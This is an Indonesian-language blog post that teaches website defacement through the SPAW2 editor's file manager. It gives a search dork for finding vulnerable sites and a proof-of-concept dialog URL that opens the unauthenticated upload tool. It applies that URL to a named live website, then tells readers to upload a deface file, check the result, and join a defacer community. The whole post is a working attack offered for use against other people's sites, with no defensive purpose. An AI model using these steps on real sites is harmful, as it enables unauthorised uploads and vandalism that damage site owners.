DORK
inurl:spaw2/dialogs/ atau inurl:spaw2/uploads/files/
POC
spaw2/dialogs/dialog.php?module=spawfm&dialog=spawfm&theme=spaw2 &lang=es&charset=&scid=cf73b58bb51c52235494da75 2d9 8cac9
jika sudah menemukan targetnya contoh seperti ini :
http://www.wholehealthamerica.com/spaw2/uploads/files/
lalu agan ganti spaw2/uploads/files/
dengan
spaw2/dialogs/dialog.php?module=spawfm&dialog=spawfm&theme=spaw2 &lang=es&charset=&scid=cf73b58bb51c52235494da75 2d9 8cac9
jadinya kya gini.
http://www.wholehealthamerica.com/spaw2/dialogs/dialog.php?module=spawfm&dialog=spawfm&theme=spaw2%20&lang=es&charset=&scid=cf73b58bb51c52235494da75%202d9%208cac9
Maka akan muncul gambar seperti dibawah ini::
Maka anda tinggal upload file deface anda, dan tunggu hingga selesai, dan setelah selesai untuk melihat hasil deface anda kita buat seperti ini::
http://www.wholehealthamerica.com/spaw2/uploads/files/rempong.txt
Good job, terakhir mendaftar ke indonesiandefacer.org dan jadilah anda defacer sejati, :)
Tidak ada komentar:
Posting Komentar